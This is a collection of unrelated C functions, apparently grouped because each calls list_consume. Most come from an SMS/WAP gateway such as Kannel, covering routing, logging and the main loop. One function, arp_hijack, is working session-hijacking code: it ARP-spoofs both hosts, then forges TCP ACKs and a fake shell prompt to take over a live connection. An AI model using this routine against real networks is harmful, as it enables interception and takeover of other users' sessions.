static void wdp_router(void *arg) { Msg *msg; list_add_producer(flow_threads); while(bb_status != BB_DEAD) { if ((msg = list_consume(outgoing_wdp)) == NULL) break; gw_assert(msg_type(msg) == wdp_datagram); /* if (msg->list == sms) smsc_addwdp(msg); else */ udp_addwdp(msg); } udp_die(); /* smsc_endwdp(); */ list_remove_producer(flow_threads); }
void semaphore_down(Semaphore *semaphore) { gw_assert(semaphore != NULL); #ifdef HAVE_SEMAPHORE sem_wait(&semaphore->sem); #else list_consume(semaphore->list); #endif }
static void main_thread(void *arg) { WAPEvent *e; while (run_status == running && (e = list_consume(ota_queue)) != NULL) { handle_ota_event(e); } }
static void main_thread(void *arg) { WTPInitMachine *sm; WAPEvent *e; while (initiator_run_status == running && (e = list_consume(queue)) != NULL) { sm = init_machine_find_or_create(e); if (sm == NULL) wap_event_destroy(e); else handle_init_event(sm, e); } }
void ctx_destroy(struct context *ctx, const char *reason) { glfwDestroyWindow(ctx->win); glfwTerminate(); infof("ctx", "terminating (reason: %s)", reason); ctx_free_programs(ctx); font_free(ctx->font); framebuffer_free(ctx->screen); list_consume(&ctx->transforms, free); free(ctx); }
void alog_close(void) { if (file != NULL) { if (markers) alog("Log ends"); list_lock(writers); /* wait for writers to complete */ list_consume(writers); fclose(file); file = NULL; list_unlock(writers); list_destroy(writers, NULL); writers = NULL; } }
void alog_reopen(void) { if (file == NULL) return; if (markers) alog("Log ends"); list_lock(writers); /* wait for writers to complete */ list_consume(writers); fclose(file); file = fopen(filename, "a"); list_unlock(writers); if (file == NULL) { error(errno, "Couldn't re-open access logfile `%s'.", filename); } else if (markers) { alog("Log begins"); } }
int arp_hijack(struct conn_info *ci, char *src_fake_mac, char *dst_fake_mac, int input_mode) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; struct ifunc_item ifunc_dst, ifunc_src; struct packet *p; int count_dst = 0, count_src = 0; pthread_t thr_tty; struct watch_tty_data wtd; asi_src = asi_dst = NULL; dont_relay = arp_dont_relay_insert(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port); if (src_fake_mac) { if (!(asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, ci->src.src_mac, ci->dst.src_mac, src_fake_mac, 0, 0, 0); } } else asi_src = get_arp_spoof(ci->src_addr, ci->dst_addr); if (asi_src && user_arpspoof_test(asi_src)) { if (user_run_arpspoof_until_successed(asi_src)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_src->src_addr, hl_mode), host_lookup(asi_src->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (src_fake_mac) stop_arp_spoof(asi_src); asi_src = NULL; } } if (dst_fake_mac) { if (!(asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, ci->dst.src_mac, ci->src.src_mac, dst_fake_mac, 0, 0, 0); } } else asi_dst = get_arp_spoof(ci->dst_addr, ci->src_addr); if (asi_dst && user_arpspoof_test(asi_dst)) { if (user_run_arpspoof_until_successed(asi_dst)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_dst->src_addr, hl_mode), host_lookup(asi_dst->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (dst_fake_mac) stop_arp_spoof(asi_dst); asi_dst = NULL; } } set_tty_color(COLOR_WHITE); printf("you took over the connection\n"); set_tty_color(COLOR_BRIGHTRED); printf("CTRL-] to break\n"); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); wtd.src_fake_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; wtd.ci = ci; wtd.input_mode = input_mode; list_produce_start(&l_hijack_conn); pthread_create(&thr_tty, NULL, (void *(*)(void *)) watch_tty, &wtd); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src; ifunc_src.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_src); while ((p = list_consume(&l_hijack_conn, NULL))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dest */ if (p->p_data_len) { print_data_packet(p, p->p_data_len, ++count_dst, 1); packet_free(p); /* send ACK */ memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); } else packet_free(p); } else { if (p->p_data_len) { /* packet from source */ print_data_packet(p, p->p_data_len, ++count_src, 0); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = asi_dst ? asi_dst->src_fake_mac : ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); } packet_free(p); } } list_remove(&l_ifunc_tcp, &ifunc_dst); list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_hijack_conn); pthread_join(thr_tty, NULL); return 0; }
int main(int argc, char **argv) { int cf_index; Cfg *cfg; Octstr *filename; bb_status = BB_RUNNING; gwlib_init(); start_time = time(NULL); suspended = list_create(); isolated = list_create(); list_add_producer(suspended); list_add_producer(isolated); cf_index = get_and_set_debugs(argc, argv, check_args); if (argv[cf_index] == NULL) filename = octstr_create("kannel.conf"); else filename = octstr_create(argv[cf_index]); cfg = cfg_create(filename); if (cfg_read(cfg) == -1) panic(0, "Couldn't read configuration from `%s'.", octstr_get_cstr(filename)); octstr_destroy(filename); dlr_init(cfg); report_versions("bearerbox"); flow_threads = list_create(); init_bearerbox(cfg); info(0, "----------------------------------------"); info(0, GW_NAME " bearerbox II version %s starting", GW_VERSION); gwthread_sleep(5.0); /* give time to threads to register themselves */ if (store_load()== -1) panic(0, "Cannot start with store-file failing"); info(0, "MAIN: Start-up done, entering mainloop"); if (bb_status == BB_SUSPENDED) { info(0, "Gateway is now SUSPENDED by startup arguments"); } else if (bb_status == BB_ISOLATED) { info(0, "Gateway is now ISOLATED by startup arguments"); list_remove_producer(suspended); } else { smsc2_resume(); list_remove_producer(suspended); list_remove_producer(isolated); } while(bb_status != BB_SHUTDOWN && bb_status != BB_DEAD && list_producer_count(flow_threads) > 0) { /* debug("bb", 0, "Main Thread: going to sleep."); */ /* * Not infinite sleep here, because we should notice * when all "flow threads" are dead and shutting bearerbox * down. * XXX if all "flow threads" call gwthread_wakeup(MAIN_THREAD_ID), * we can enter infinite sleep then. */ gwthread_sleep(10.0); /* debug("bb", 0, "Main Thread: woken up."); */ if (bb_todo == 0) { continue; } if (bb_todo & BB_LOGREOPEN) { warning(0, "SIGHUP received, catching and re-opening logs"); log_reopen(); alog_reopen(); bb_todo = bb_todo & ~BB_LOGREOPEN; } if (bb_todo & BB_CHECKLEAKS) { warning(0, "SIGQUIT received, reporting memory usage."); gw_check_leaks(); bb_todo = bb_todo & ~BB_CHECKLEAKS; } } if (bb_status == BB_SHUTDOWN || bb_status == BB_DEAD) warning(0, "Killing signal or HTTP admin command received, shutting down..."); /* call shutdown */ bb_shutdown(); /* wait until flow threads exit */ while(list_consume(flow_threads)!=NULL) ; info(0, "All flow threads have died, killing core"); bb_status = BB_DEAD; httpadmin_stop(); boxc_cleanup(); smsc2_cleanup(); empty_msg_lists(); list_destroy(flow_threads, NULL); list_destroy(suspended, NULL); list_destroy(isolated, NULL); mutex_destroy(status_mutex); alog_close(); /* if we have any */ bb_alog_shutdown(); cfg_destroy(cfg); dlr_shutdown(); gwlib_shutdown(); if (restart == 1) execvp(argv[0],argv); return 0; }